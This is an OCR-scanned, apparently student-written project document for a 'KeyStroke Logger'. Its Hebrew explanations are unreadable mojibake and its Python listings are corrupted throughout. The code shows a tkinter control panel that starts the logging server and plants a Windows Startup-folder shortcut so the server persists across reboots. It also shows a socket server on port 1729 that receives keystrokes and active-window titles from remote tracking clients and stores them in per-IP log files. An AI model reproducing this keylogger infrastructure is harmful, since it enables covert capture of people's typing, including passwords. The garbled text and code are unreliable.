YO IPOMOLIN 1ANT INYINA NP ,YPIA NI DWW NN

TMPIN NN XN NIYD XY OX PN TN ,NDIPA NIPAN MY 1IN NN DOYIND 77 1N
NDIPD DY NTIAYN NYPINI R¥DOND MNOmN Message boxes-y Images nvip m ,nTay
AUNNYNN MNND

OS, tkinter, pillow, socket, datetime, pickle, getpass, pywin32, :5199903 wnnwn ¥2pn
time
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[ T O 4

[+

import os

from tkinter import *

from tkinter import messagebox
from tkinter import filedialog
from PIL import ImageTk, Image
import socket

import datetime

import pickle

import getpass

from win3Zcom.client import Dispatch

import time

PoOYD N1

XIPN V99N MYIH

$0P2990 N30 N1

.(6) filedialog + (5) messagebox + (4) 5TNN N2 NVIPNAN DD NAVN tkinter-1n

(7) pwnna mnnn oy Tay> onvn (pillow) PIL-n ImageTk-y Image Nayn

40

.(12) shortcuts oy m>mnn TIWaNn (pywin32) win32com.client-»n Dispatch x2»

O
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$0990NN HY DIYANN DINYNN O

15 e LOBALL. VARTIABLE e

1&

17 # Defining main Boot

1z root = Tk()

15

20 Intro_frame = Frame(root, bg= e") # Defining Intro Frame

21 Work frame = Frame (root, bg="w "} # Defining application work frame
23 # GUI socket for connection with software server

24 gui_socket = socket.socket ()

25

28 # Boolean wariable for current connection between GFUI and software server
27 Connection_status = False

28

29 & path for software server python file ("Hotherboard system™)

30 Motherboard file = os.getcwd() + "“‘\Motherboard system.pyg"

31

32 & IF for the hosting computer

33

34 ip = socket.gethostbyname (socket.gethostname () )

35

36 & Defining software server's process ID wvariable

37 Server PID = 0

1] -

358 # Defining current log storage directory wvariable

40 storage_dir = ""

41

43 user name = getpass.getuser() # String for computer's user

43 startup path = \

44 T r'C:yUsersh (st Applata'\ BoamingtHicrosoft \Windows Start Menu'\ Programs'
45 r'\Startup’ % user name $# Path for startup folder of windows 05
E1

47 # Path to Software server's ghortout located in windows startup folder
43 bat_path = os.path.join({startup path, "Hotherboard system. ]pk"™)

.(18) 297N PYNNN DY root-N NoN TN e

SV 79T NNOPY ,NTIAYN NMPINA NIYN NIOIN DM X 08NN OO PATH-D oy mm e
.(42-48 ,30) NDYONN NIV DY NOYINN NMPOINA NIYN NIDIN

NN QPYNN MOV TIY TN LTIV QoM .(24) NIPAN MY DY MPYN socket 1T e
(27) 7Y a5 NTpan MY Pwnn PaNNn

(40,37 ,34 ,20-21) VIONN MY 299 DTN DADN DINYN  ©
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420
421
422
423
414
425

2E
427
428
415
430
431
432
433
434

438
437
438
435
440
441
4432

445
44€
447
448
449
450
451
452
453
454
455
45¢&

457

$HNMAN NNOND IMMNMIY NITIA ©

# Importing intro label's image
intro_imgy = ImageTlk.Photolmage {(Image.open{os.getowd() + "/Images/Intro.gpng™))
% Defining intro image lakel

intro_img label = Label{Intro frame, image=intro_img)

# Defining start application button
[Econtinue_buttnn = Button(Intro frame, text="Continue”,

font=("Jggre", 13, "bold"}, width=l4, bg="white",

command=continue_to work)

# Defining guit button
[Eexit_button = Button{Intro_frame, text="Quit"”, font=("Jggos", 13, "bold"},

width=14, bg="white", fg="#444444",

command=Intro frame.guit)

sintro mEPM o

def intro():

intro_img label . gridi{row=0, column=0, pady=33, padxz=50)
continue button.gridi{row=l, column=0})
exit_button.grid{row=2, columm=0, pady=c)

Intro_frame .pack{) £ Presents introduction frame on root

JINMSN NNONN SY NNMAN NNONN MNMY» ODNND e

PYNRn PON 5y NN NNMON NNONRN 19N INKD e

scenter MIPNS o

[Eldef center():

eRkets UL application on scre

root . update_idletasks ()
# Tkinter way to find the screen resoclution
screen width = root.winfo_screenwidthi)

screen_height = root.winfo screenheight ()

size = tuple{int{_} for _ in root.geometry () .split{'+'}[0].split{'=x"})}
x = screen_width/2Z - size[0]/2

¥y = screen_heightf2 - si=ze[1]/2

i root .geometry ("+%d+%4d" & (x, y))

NNYNN TON 1IN0 PYNNN NON IR I @
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:main + root setup n¥sPNs o

4gl figuri ain root

452

4E3 root . configure (background="white")
454 root. title ("User Control Panel™)
455 root.iconbitmap (os.getcwd () + Images/Incognito.igg™)
4EE root.resizable (0, O}

457 root minsi=ze (500, 350)

458 root.pack_propagate (0)

469 = center [}

472 def main():

47E root_setup ()

477 intro()

478 root. . mainloop({) # Loops Root

431 if __name == '_main '

432 IT‘ main()

-9 NP WHRNWNRN TON 15702 INMN NINMD ,)NONN IV NN NPT — root setup o
.(469) center

«(478) TOD PN NNIDA PYWNNN NOM (477) intro ,(476) root setup NN N¥IN — main o
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[T T I I 7 T 7 I Y
L e e R T 1
|l R I = N I« VR 4

2

[4]

o

=1 o

Wow W W W W W W W Wh oo
=

LA =]

400
401
402
403
404
405
408
407
403
405
410
411
412
413
414
415
11&
417

=

scontinue to work m8p»a o

def continue_to_work()

global bat_path, Connection_status, storage_dir, Server PID, gui_socket,
Hotherboard file

& Try to connect to software server by default, if already running
if os.path.exists (Hotherboard file):
try:
# Connects to software server
gui_ soccket.connect{({'127.0.0.1", 17282})}
print ("connected!™)
¢ Beceives log storage directory path
storage_dir = pickle.loads {gui_socket.recv{E5532&})
¢ Receives Serwver PID
Server PID = pickle.loads{guil_socket.recw{l024)}]}
print (Server PID)
Connection_status = True
print (Connection_status)
# Creates a ghortcuk in startup folder of software server if server
f# is running
if not os.path.exists (bat_path):
handle shortcut ()
except:
# Removes ghorhokk from starkue folder if software server isn't
# running in the background
if os.path.exists(bat_path) :
handle shortcut()
elae:
# Removes ghortout from startup folder if software server file doesn't
¢ exist in working directory
if os.path.exists(bat_path) :
handle shortcut()

work ()

q2NNN L(PWNHNRN YW NTIYN 1PN NIWN Y INIP TURD) XTI NN NI OX T e

.(391-406) (NTPAN MY PYNND NIVN P2 MPY NIY N2XN) 19) NN PON

NIV NYYONN NIIYN DY NOYONN NPPPNA NIWN P YW shortcut NP OPPY NN @

(407-416) PPN TIT NYPN 9N NS

(417) work P8PNAY KNP — NTIAYN MY PYvnn e
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98N Error Y219 X132 + 7790 59910 MY YN O

242 # Importing instruction button's image

243 instructions_img = ImageTk.Photolmage {(Image.open

244 {os.getcwd () +

245 "/Images/Instructions_icon.ppg"))
246 # Defining instruction button

247 % instructions_button = Button(Work frame, height=¢0, width=c0, bg="white",

image=instructions_img, command=instructicns)

43

50 try:

51 g Beceive the error string

52 with open(f"{gs.getewd!) } /Hessage boxes/Errcr.gxg", "r") as f:

Error = £.read()

Lo )

except:
f string missing

Error = "*Error missing*"

[ VT VT (Y O T LT (I T T X

o R R N
=] i mn

=]
255 & Defining status label
2e0 %status_label = Label (Work frame, text=f"Current Status: Closed"”,
2&l font={"Jegas", 9, "bkold"}, fg="Red", relief=SUNEEN)
262
263 # Defining activate serwver (motherkoard system) button
2e4d activate button = Button({Work frame, text=" Lctivate Server ",
2&5 font=("Jegee", 12, "bold"), padw=25, pady=25,
266 bg="white", fg="#444444")
267
268 # Defining open log dir button
2659 open_log dir button = Button(Work frame, text=" Open Log Dir .
270 font={"Zegoe", 13, "bold"), padwx=:&, pady=5,
271 bg="white", £g="£444444", command=open_dir}
273 # Defining change log dir button
274 change log dir button = Button(Work frame, text=" Change Log Jirx "
275 font=("Sggae", 12, "bold"), pads=E, pady=F,
276 bg="white", f£g="#444444"™)
278 # Defining the working directory label

TS5 %lug_dir_la.bel = Label (Work_ frame, text=f"Current working directory: *HMISSINE*",

g0 font=("Zegpe", 2, "bold"), relief=SUNEEN)

281

282 # Defining current connected clients button

283 current connected clients = Button(Work frame, text="Connected Clients™,

224 font={"Sggas", 13, "kold"), padyx=5, pady=5,
285 bg="white"™, fg="#444444",

286 cormmand=show_connected)

287

2ag # Defining disconnect clients button

225 disconnect_connected clients = Button({Work frame, text="Disconnect Clients",
250 font={"Jegoe", 12, "bold"), padx=5,
2591 pady=5, bg="white", fg="#444444",

252 command=disconnect_clients)

253

(259-292 ,242-248) NTIAYN NNDNDOMNIMY» DTN @

.(250-256) "3 N Error N1 p OOPL XA @
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=1

oo
)

PoOYD N1

swork msp»ne o

Intro frame.pack forget() & Removes introduction frame from root
# Rdds 31l of the control panel buttons to the work frame
activate button.configure (command=connect software)

change_log dir button.configure (command=change log_dir)

", font={"Seggoe", 12, "bold"),

text="{u
bg="whi
command=Intro_frame guit}

exit button = Button{Work frame,

padx=15, pady=20,

status_label grid{row=0, column=0, colurmnspan=4, sticky=W+E}
instructions_button.grid{row=l, column=0)
activate_button.gridi{row=l, column=l, colummnspan=2, padx=530, pady=(30, 40})

exit_button.gridi{row=l, column=3)

open log_dir button.grid{row=I, column=0, columnspan=2)

change_log dir button.grid{row=2, column=Z, colummspan=2>}

current connected clients.grid{row=:3, column=0, columnspan=2,
pady=(30, 40))
disconnect_connected clients.grid{row=2, column=2, colummspan=2,
pady=(20, 40})

log dir label grid{row=4, column=0, columnspan=4, sticky=W+E)
2
configure work frame ()

Work frame . pack{) ¢ Presents work frame on root

(361) PWNNN NINN NTNN NNMION NNONN - @

.(362-378) NTIAYN NNON DY NTIAYN NNON MNMV DONNND @

.(380) configure work frame M>¥P)9n 295 ONITYNN NTIAYN NNVONONND e

.(381) PYWNNN NION DY HNNH NTIAYN NVON 10N INND e
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321 Edet’

-

sconnect software m8p»9 o

connect_software ()
glcbal Connection_status, gui_socket, storage_dir, Motherboard file, %

Server PID, Error

if os.path.exists{f"{gs.-geteud() | /Motherboard system.pyw") :
# Ends scoftware server's process, and disconnects socket

if Connection_status:

os.system{f"5askkill /nid {Server_ PID} /£™)
gui_socket.close()
gui_socket = socket.socket()
Connection_status = False
handle_shorteout ()
time.sleep(d.4)
£ Launches software server and connects to it (wia local sockets)

elze:
os.startfile ("Motherboard svstem. pyg™
time.sleep(d.4)
§ Connects to software server
gui_socket.connect {{"127.0.0.1", 1728&))

prinkt("co

~ted! ™)

# Receives Serwver PID

Server_ PID = pickle.loads{gui_socket. recw(l024})}
Connection_ status = True

handle_shorteut ()

print (Connection_status)
configure work frame()
elae: £ If software server's python file is missing

messagebox.showerror("Missing File!™, Error)

92N PN DPNIVN MYSNNI INMN INON NN ,PIVT NMIVNYI NIRIPI MDIXPNI ON @
mMwn NP Yv shortcut NP DX PHHRN ,Q0NI .NIVD MOIND MNNN socket NN

.(330-336) NOYONN NIIYN DY NYYANN N1PINI

92NNN IR NOYONN NIIHN NI INMIN PXYTN YD 72D NIWNYI NXRIPI ISP DX @
MINYT Y NPNONN NONRND NMPN MHNWN NIYNN DaAPN NIDINN .NIPY NIV NN PON
NoY9NN NMPPNA NIVN NP YV shortcut X1IP PPNN ,qoN1 .ndv PID-n + oownnwnn

.(338-349) NHyann Noyn Hv

.(352) configure work frame 1282191 %95 ©NOTYNN NTIAYD NNVONOINNID e

NMNI NIYN PYNN XDIP DY TN OPP RI NIV MIN XDIPY NIPNI IRNDY DIpn> e

.(353-354) NTY2Y NOPON
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€9 [Fldef handle_ shortecuti):

70 global bat_path

71 "wrPunction which handles the software

73

T4

75 & If server is activated

TE = if not os.path.exists(bat_path) :

T7 target = os.path.join{os.getcwd (),

78 w_dir = os.getcwd ()

759 icon = os.path.join{os.getcwd (),

=10] shell = Dispatch{'WScript Shell')

21 shortocut = shell.CreateShortCut (bat

82 shortout . Targetpath = target

23 shortcout . WorkingDirectory = w_dir

g4 shortcout . Iconbkocation = icon

&85 - shortcut . save () £ Sawves the softwa
elae: $ If server is shut down

2E [ﬂ
a7

os.remove (bat_path)

PoOYD N1

shandle shortcut msp»o o

"Motherkoa

"Motherboard system.pyu™)

_path)

re server's ghorkocuk at given path

NOIYN YV NHYONN NMPXNA NIV NP DV shortcut NP (76-85) PPNN/(86-87) pnnn e

NoYaNN

:configure work frame msp»e o

]

Ty
-1 m ot

def configure_ work frame () :

[ R T

global Connection_status, storage dir,

TETET] J S N = (RPN [y E Tale] ! =
Updlates bButton s state

ip

58

259 if Connection status: # If a connection exists

300 activate button.configure (text="Deactivate Serwver")

301 status_label.configure (text=f"Current Status: Connected to {jgl".,
302 fg="Blues")

303 = log_dir label.configure {text=f"Current log storage directory:™
304 B £" [storage_dirl/logs™)

305 open_log_dir button.configure({state=NORMARL)

306 change_log dir button.configure (state=NORMAL)

307 current_connected_clients.configure (state=NORMAL)

308 = disconnect connected clients.configure {state=HORMAL)

305

310 = elae: ¢ If a connection doesn't exist

311 actiwvate button.configure(text=" ZRctivate Server "}

312 status_label.configure (text=£f"Current Status: Closed", fg="Red")
313 = log_dir label.configure {text=f"Current log storage directory: "
314 - £"*MISSING*™)

315 open_log_dir button.configure (state=DISRELED)

3le change_ log dir button.configure (state=DISRBLED)

317 current_connected clients.configure (state=DISRELED)

318 = disconnect_connected clients.configure (state=DISRELED)

VN MY 295 NIPIAN M MMV NONNMP NN YN
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$9I89N ¥IPN NPNINN NI + (NPNINN IND NYNYI NXIP)) instructions 78P»N9 o
52 try:
53 £ Beceiwve the instructions string
with open{f” {gs.geteyd() } /Message boxes/Instructions.gxg”, "r") as £:
Instructions = £.zread()
= except:
57 T # if instructions are missing
5 Instructions = "*Instructions missing*"™
61l def instructions({) :
£ 2 glokal Instructions
GG messagebox. showinfo ("Instructions", Instructions)
.(52-58) I8N XIPHN MNAPHD NYPMNN @
(66) wNNWNO NYPMIN PON NMI — instructions e
sopen dir m8p»e o
50 def open_dir():
i global storage dir
] os.startfile (storage_dir + "'‘\logs")

(95) vPNWNT dNONN MNYITH NONN NON NN NMI
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:change log dir 5m8p»s o

57 Elder change_log_dir(}:

Sa global Hotherboard file, storage dir

100 e current 1 regquires the restart the
102 # user allowed to pick his preferred storage directory with filedialog
104 = chosen log dir = filedialog.askdirectory{initialdir=os.getcwd(),

105 oo title="5Select new log directory™)
106 #print (chosen_log_dir)

147 & If selected directory is different then current

log —| if chosen log dir '= storage dir:

_Log ge_

105 connect_software ()
111 B with open(Hotherboard file, "r") as £:
112 list of lines = f.readlines(}
113 - list of lines[20] = f£"storage dir = r'{chosen log dir}’
115 [H with open(Motherboard file, "wt") as £:
116 E f.writelines({list_of_lines)
115 e ccnnect_ﬁcftware{}l
120 gprint ("its bkeen restarted!™)

(104) wTNN MNYTN NONX PIN DX NI IWARNN NIN NMO @

NMPINVY 792 NIYN NP DX TIW L(109) NIVN DX MDY 1D connect software-2 NP o
YINN NIYN NN DNNRNY (111-116) WNRNWNN TN IYNX NMPIND ORMN DYTNN PNONRD
.(118) connect software myxnNa
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140
141
142
1432
g
145
14&
147
142
1459
150
151
152
153
154
155
15&
157
158
155
10
11
1&2
1&3
14
1s5
1€
1&7
le2
19
170
171
172
172
174
175
17€

5
5

178
175
120
121
182
133
124
125
las

Eldef show connected() :

:show connected m8p»a o

shows the c
g defining the "pop-up" root of the function

top = Toplewvel (bg="white")

top.title (")

top.resizable {0, O)

client_ list = reguest_clients() # Reguests clients from software server

# Defining the lakel for current connected users to software server
count = Label (top, text=f"Currently: {lgniclient list) connected"™,
font=("Jegpe", 13, "kold"), bg="white", fg="#444444")

# Defining the list box which will include all connected addresses
clist = Listbox(top, width=22, bd=2, font=("Zggzg", 2, "bold"),

selectmode=5SINGLE, height=len{client_ list))

def open client logi():

try:
ip dir = clist.get({clist.curselection(}) .split (" ") [1]
os.startfile(f"{storage_dir}/logs/{ip dirl}/"

f"logl{stx (datebime .date. . today

N I 4 i |
except:

passa

g Defining the Open Log button

open_log = Button({top, text="Upen log", font=("Jeggpe", 11, "bold"},
width=8, bg="white", fg="£444444",
command=cpen_client_log)

# Defining the Qk button, which (on press) guits the function's root
ok = Button(top, text="Qk", font={"Jeggs", 11, "bold™), width=2,
bg="white", fg="f444444"  command=top.destroy)

g Inserts clients to list box
for client in client_list:

clist.insert (END, "IF: %= / Fort: %= " & client)

g Presents the root's buttons

count . grid{row=>0, column=0, colummspan=21, pady=10}
clist.grid{row=1l, column=0, columnspan=21, padxz=30)
open_log.gridi{row=2, column=0, pady=10)
ok.gridi{row=2, column=l, pady=10)

[(149) request clients MYXNNI NIYNN DMIIND MNMPY NOVI WP @

145-) (MNPYIN NONY NN ,D>IINDN) DXITHIND DINNDIWON NN 2NN, PYT PON INY e

(182-186 ,169-176 ,151-157 ,147

.(178-180) NM>WIN NONS OMINNN NMINIPHN MAIND NX PO @

MNP MTN NN NXIND NNMN MININN NNX IWRD Open Log Mmnaon xnoN Nna e

.(159-167) 2NN NN DV
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135
150
151
152
133
154
155
l5&
197
133
155
200
201
202
203
204
205
20&
207
208
205
210
211

[ ST (T (ST (T R % T ¢
[ ST T T (T T T U O =
o W = O

[T S S 4
[T T T
W 0o =1

[ SN ]
[ZUR )
[ =]

(]
]

233
234
235
236
237
238
2359

[Fldef disconnect_clients():

:disconnect clients m°8p»9 o

% defining the "pop-up" root of the function

top = Toplewvel (bg="white")}

top.title (")

top.resizakle (0, 0}

# Defining temp frame

temp = Frame {top, bg="white")

client list = request clients({) §# Reguests clients from software server

% Defining the lakel for current connected users to software server
count = Label (top, text=f"Currently: {legpiclient list)} connected",
font={("Zegzs", 12, "bold"), bg="white", fg="§£444444")

# Dictiomary for all the walues of the clients gheckhboxes
check buttons = {}
# hppending clients gheckboxes to temp frame
for client in client list:
check_buttons[client] = IntVar()}
Checkbutton{temp, text=client[0], font={"Jegge", 10, "bold™},
bg="white"™, fg="#444444",
variable=check buttons[client]) .pack(}

def sum disconnect():

disconnect_ips = [] & Selected clients list

£ Lppends selected clients to the list akbove
for clientl in client list:

if check buttons[clientl] .get({) == 1:

disconnect_ ips.append{clientl)

% Sends list of selected clients as a parameter
answer = reguest{disconnect_ips)
if len{disconnect ips) > 0:

messagebox . showinfo (""", answer)

top.destroy() # Cuits function's root

# Defining the Qk button
ok = Button{top, text="Jk", font={"Sgggs", 12, "kbold"), width=14,
bg="white", fg="$#444444", command=sum disconnect)

% Presents the root's buttons
count .pack (pady=10)}

temp . pack ()

ok.pack (padx=20, pady=10)}

.(201) request clients MYXNNI NIYNN OMIINND MNMPY NOVI VPN

233-,199 ,194-196) (1NN 0k 7NN DXITNNN DNMVYHT NN 907 , P PON I8» e

(239
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207-) checkboxes 71n2 931N Frame-Y 020mnn nymphn v IP-n mans nX pomn e
(214

MMPoN WY NSwN ,pmY N8 AW IP-n Mams AN IMa wonwnn IUND e
.(216-230) request 71T NIVWY DIPNINN

:request + request clients m8p»9 o

123 def request{message) :

12 gui_socket.send(pickle.durps (message) )
128 answer = pickle. loads{gui_socket. recv({c553¢})

125 return answer

132 def request_clients():

136 client ips = reguest ("*CLIZNIS*")
return client ips

(128-129) MWD NAIWN NN PINMI ,(127) PN 12PN TN NIWY NV — request o

,(136) DMINNN MMPON DY NOWID NWpPa DY request-2 NP — request_clients o
.(137) NYapNNY NYIN NN PINN)
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(1393 VI9oN] Motherboard system.pyw
NINNN/NDPH PPan

YT GOINY NPANT 2WNN DY (pyw) ¥YPI2 DPNIVN KO NI PINM VION NP NXIN IY NP
NDIPN IR HIMPY Y MNMTY IMNX TaYN) 92PN PONR 02NN MNIPYN D1 (NIYI)
DMVNI IITON PONNY PON 1IN (9NN PYHNN) NIPAN MY IWURD NIYD wHwn D)

mTpN

TN NIVN

oy MYMINM MYNIN NVVP THIXPND DIAPNI P [ THXR VL APYN MMPY LY .1
90DI9 MNPSOS NOY .NITIHINY NONRD NMPINL 2APYN MNYT ONIY N NMINMPON
TN DTN NTIAY NPOAMN

process -1 NPNINN NONNN NMPPN NN PAY PO ,INK VNN NP2 MINH NN NON> .2
.DNNN2 MWD 1D PN MYPAY DM0NID PN Y2P> XN NIwn Yw ID

NoYaNn NP N2 WY (Ink ,shortcut) 797 NP OMPY OX NOYANN NIIYN OY XN XDIPN
.72 MY MDN/PON MMPY NN WONd TXHNY,NDYINN NIV DY

17PN MY NTIPS %99 PO XN

.08, socket, datetime, pickle, threading : 599903 wnnWN \2Pn

54



KeyStroke Logger

(]

(541

F
L

a3

PoOYD N1

XIPN V99N MYIH

$OPN99N NIV NI ©

import socket

import os

import datetime

import pickle

from threading import Thread

.(7) multithreading 15 9wannn ,threading-n Thread ooxa»n o

:0990NN HY DIYANN DINYNN O

& Software serwver Socket for connection with GUI

software socket = socket.socket ()

& Serwver Socket

server_ socket = socket.socket()

& Operation date - the date which the software was ran at (CTIZ:

startDate = str{datetime.date.today())

# String for gorrept log storage dictionary
storage_dir = os.getowd()

addresses = {} # Dictionary for addresses

operating files = {} # Dictionary for operating files

(12) nawin pwnn NI QN7 NN socket V1 Tam
(12) naw'? 2pynin NDIN 12'N7 NNWN socket 1TAIN

DWIPAN NINR?Y NINT 7w (RTIAVA NP N'WRY) N'NDAN IONKD N2 NYTAIN

UTC+02 :00)

(21) nwh
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M o o o o o O R R [
[T B L F [T 1 oy o

o

1 o o
s

[T T T Y X T T T T T T T A Y T TR T T Y A T O (TR T Y (A T L TN T (O T O (S Y O TR T (% T O Y (X1

:main 8PN o

[Hdef main(}:

global serwver socket, software socket

print {("Lunching...")

logs () # Creates log storage directory at set directory, if doesn't exist

4 Binds =UI socket to home IP, ort 1728 and listens to GUI connection
software_socket.bind{{'127.0.0.1", 1728})}

software_ socket.listen(l}

t Threads UI function
gui_accept = Thread({target=gui)
gui_accept.setDaemon (True)

gui_accept.start()

& Binds server socket to home IP, Port 1725% and listcens to 10
# client connections
server socket.bind{{'0.0.0.0", 1725})

server_ socket.listen({l0)

t Threads accept incoming connections function
thread accept = Thread(target=accept incoming_connections)
thread accept.start()

thread accept.join()

server_socket.close ()

720 Socket TWND oMY VNS DY Man [P-5 oonIwn MmN Sockets NN WP e
MNIPYN NN Socket-y (249-250 ,NIPan MO NN) TN NDND PNHNHD PYHNRNN

.(259-260) (V13 1901) MNMPY NIYYY PINN DIWNPNHN

m>Mmnnn ,accept incoming connections-) gui NPYPNAN NN 27APNA NI MIINN - @

(263-265,253-255) nIWO MMPoN 2N DY

:logs Py o

def logs():

global storage dir

log dir = storage_dir + "“logs"
if not os.path.exists(log dir):
os.mkdir{log_dir)

N2 logs N»PINA YW MNYTN) NITHND NONX PN logs NONN N»PIN I8P @

NONRN NMPINA IWNRN NONRD
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171
172
173

def

:check client m8p»e o

check_client(server_socket):

client socket, address = server_socket. accept()

return client socket, address

MpYn socket NN NINMY L(172)NIWH 9aNNNY MIPON NYPA IR NIYURD 7DOSPNON - @

T i e
(RSO O T O« O ¢
T ] G = ST T BT S TT R X

W w0
(=

—
[

[2]

W W D
(1L

oW o
AL R B o

S o B B S iy Sy TR

[§
=]
=

[Flder

.(173) (IP/Port) Y9¥ n21mon HONOY
:gui MNPNS  ©

gui () :
global scftware_socket, addresses

while True:
# Beceiwves GUI connection as a client
gui_socket, gui_address = check client(scftware_ socket)
& Sends log's storage directory to EUI
gui_socket.send{pickle.dumps {storage_dir)}
# Sends curremt PID to GUI
gui_socket.send{pickle.dumps {os.getpid()))
print {"EZUI connected")
while True:
try:
request = pickle.loads {gui_socket.recwv{E553€))
except socket.error:
# Disconnection occurred, break from loop
print ("EUI disconnected"™)

break

% If reguest parameter is "*CLIENTIS*"™
if reguest == "*CLIENTIS*":
client_ips = []
for address in addresses.walues():
client_ips.appendi{address)
& Beturn list of connected addresses as answer
gui_socket.send({pickle . .dumps (client_ips))
elage: § If reguest paramseter is a list of addresses
print {addresses)
for client in list {addresses):
if addresses([client] in list{regquest):
# Disconnect addresses from dictiomary
addresses . pop(client)
& Beturns confirmation string as answer
gui_socket.send(pickle.dumps ("Disconnected successfully!™))

VN NN IRY 959 (thread-5) 9 apna nOMINN IIPNIN e

PN XY 7P check client MysNNA NIV pwnnn NN DX NOP NN e

.(182-187) XN nwn Yv PID-Yy nononn nonxn

57



KeyStroke Logger P00 MY

(197-211,189-191) N2IWN 12 NPINMY,NIPAN MDD MYPA IR NN NN @

.(192-195) MIPAN MM XAN MNNN IR WAN> ,(NIPAN MY NIID) NN PIINND OX - @

saccept incoming connections 5°8p»9 o

14 [Hdef accept_incoming connections():

215 global server socket, Stop

(5 1]

z1g [4 while True:

215 # Receives client

220 client_socket, address = check_ client (server socket)
221 client_socket.send({"Connected!” _ encode())

222 print ("%s:%s has connec " % address)

I
[
©

# RAdds client's address to dictionary by client key word

addresses[client_socket] address

225 # Threads process function for the specific client

226 c_thread = Thread({target=process_func{client socket, address))
22 c_thread.setDaemon {True)

228 e c_thread.start()

NIVN NYIDIN INY D5Y (thread-) 9>apna NOMINN MNPNON e

N5 NI N9 check client MYNNNA NIV APYNRN NMIDIN NN NN NVNP NN @
.DM2NNN MMPYN

MPoN P2 YR NIayN Y (process_func) NN MYMNN M8PNI thread-5> NN o
Y0 92NN
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sprocess func mMEPNa o

24 [=ldef process_func{client socket, address):
35 global keys, operating_files

prev_window = '' §# String for the previous foreground window
40 connected (address) $# create/connect client
41 = while True: # While there is a connection
42 Eg try:
43 # Try and receive key list and current window from client (tracking
44 & software)
45 keys = pickle.loads(client socket.recwv({c552€))}
4E = cur window = client socket.recw({l024) .decode ()
a7 = except
47 # Disconnection occurred — disconnect client
45 disconnected{client socket, address)

break

=

# Opens client's log £ile on append

= with open{operating_files[address[0]], "a"} as f:

W

write next day({cur window, f) & Updates date of log

# If current window differs from previous

n
i
[SE]

if new_section_is_needed{cur window, prev_window) :

& Writes line to previous window, and writes a new line

-1

= write_next window(keys, cur_window, £}
= elaea:

& Writes a new line to log

L LI T 3 T4 S Y N Y O s Y 1 |
r

wmoom

write_ next line(keys, £}

o
T

&
Ea
1
Lt

if eclient_socket in addresses keys():

# Beturns confirmation of work parameter to tracking software

a1
[

(]

client_socket.send("pass".encode())

A
S

o
oy

{1}

LT

elze:

o
o

# Beturns cancellation of work parameter to tracking software
EE = client_socket.send("stop”.encode())
&7
1= # Updates previous foreground window string to match current
£9 e prev_window = cur window

VN NPIOIN INY 939 (thread-o) D¥apna nomnn MSpNon e
.(40) connected-> MNP WHRNWNT I12Y 2D APYH MT NP IX (NN IN) NINY @

NV NYapa (write next day/windowrline) 7NN W NN NNON MWD NNNP @
(52-60 ,41-46) >NDNN DP¥N NoONM DXVPNN

[(61-66) WRNWNN PYNN NTIPY Y NIYNN NMIPYN NN PMY YW DN AINTHND e

47-) yTNN NVWYP NN AR NINDY disconnect MIPNAY ARNP ,NNN PIOINN OX @
(50
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sconnected MYpPN9 o

25 [Fldef connected{address) :

S0 global coperating_£iles, storage_dir

593 # log directory for a specific client

G4 track_dir = f£"{storage_dir}'“logsi’{address[0]}"

95 = if not os.path.exists({track dir):

=1 = os.mkdir {track_dir}

1= log file = track dir + f£"\logl[{startDatel] .zxt" # File Log name sawve
55 operating files[address[0]] = log file

100 = if not os.path.exists(operating files[address[0]]1): # If file doesn't
101 E—% with open{operating files[address[0]], "a") as £: # exist, create
102 & Writes start date, time zone and file's address

103 = f.write(£" [startDate} [UTC+02:00] - {address[0]1} ")
104 = elae: $# If £file exists, opens and updates connection time

1a5 with open{operating files[address[0]], "a"} as £:

l0s f.write(f"\nt++ User connected at : "

107 f" {datetime - datetime nowl) . strffime ("SH:SM:%5") ] \n™)

2aPNNN WNRNYNN NIY OO0 APYN MT NP NN (NN IN) NINY e
(99) D2y DINIAPN NN MPON NN PON
.(100-103) 7% NYTN POR NYTN NIIND NN NPN PIND DIN NTYNND NI DTN @

.(104-107) NOIN TIND IR NTYNHD ,NNMN NN @

:new section is needed m8p»a o

|

def new section_is_needed{cur_window, prev_window) :

[ I B s ]

W oW M M

return cur window != prev window and cur window != "*" + prev window

YNONT DXYIN NIND NNY DTIPN DIYIN NoONN DNXD IUPNA NN TIY NPINND PSPNS @
.(31)
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110
111
112
113
114
115
1l1le
117
118
115
120
121

=
3
3

=
{ ST O T (T U T T R U X
=1 M

woom

[T S R ST o e
W W
[ E D

133
134
135
136
137
138
138
140
Akl
142
143
144
145
146
147
l42
145
150
151
152
153
154
155
15&
157
158
155
1s0
lel
1le2
1&3
led

1&5

[Hdef write_next line(keys, £):

PoOYD N1

swrite next day/window/line n»sp»a o

Hdef write next day{cur window, £}:

global startDate

[
;
ot
i
I
3
i

g Current day string
cur_day = str{datetime.date.todayi{l)}

g Checks if the dates aren't the same

= if cur_day '= startDate:

f write(f"'\n==> -[cu:_::la.'-‘-'}- =<hn") & Writes the current date to log
£ .write (£"

\n* {cur_windowl'n™) # Writes the current window to log

o startDate = cur_day

def write_next_window(keys, cur window,

rites the

write next linel{keys, £} & Writes the appended keys of the previous page

if not check keys{keys): & Writes the current window to log
f.write{f"\n> {cur window}'n")
return

f write{(f" o\ n= [cu:_win::lcw}"-\:1"}

def check kevys({keys):

s 1T list has la

for key in keys:
if key. find("Eey_ ") == -1:
return True
return False

WA +F e J— - 1o
[ the lnserted k le.

t
;
ot
1]
[}

if check keys{keys):
# starts string log line with current insertion time
f.write(f"- {datstime.datstipe.nowl) . stritime("SH:SM:%5")} - ™)
backspace count = 0
for key in keys:
& Block which deals with backspace characters
if key = "Eey.backspace":
backspace_count += 1
elif backspace_count > 0O:
E.write(f" [Delete x{backspace count}]")}

= backspace_count = 0

& If key is Enter, move one line down

= if key = "Hey.enter":
- £f.write("\n")

£ Writes space kevys

= elif key == "Eey.space":
B f.write(” ")

& Writes language keys

I:—E elif key.find("Eey.") == -1:

£.write (key)

2IN02 PIRNN PTYNND ,MNYN TIRNN write next day MI¥pNad NNIPA OX

UTNN POND NN NTYNN IR ,NITY DXVPNN NDOPWI NX NTYNN write next window
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DIYUN 495 MY DWPNN NDYYI NN NTYNN write next line o

90N ABC-nn pons Xinw TN wipn minad owpnn nnowia or NP2 check keys o

:disconnected m°8p»e o

2 [Sldef disconnected{client_socket, address):

3 global operating files, addresses

T7 print("%s:%s has disconnected.” % address)

78 = with open{operating files[address[0]], "a") as £:

75 # Writes to log when the disconnection occurred

= =] f write(f"\n-- User disconnected at : "

21 £ tekime . .date O -SErftime (TEH:IBM:D%5" )
83 g Removes client and address from global dictionaries

g4 operating files.popladdress([0])

85 = if client_socket in addresses.keys():

=1 addresses .pop {client_socket)

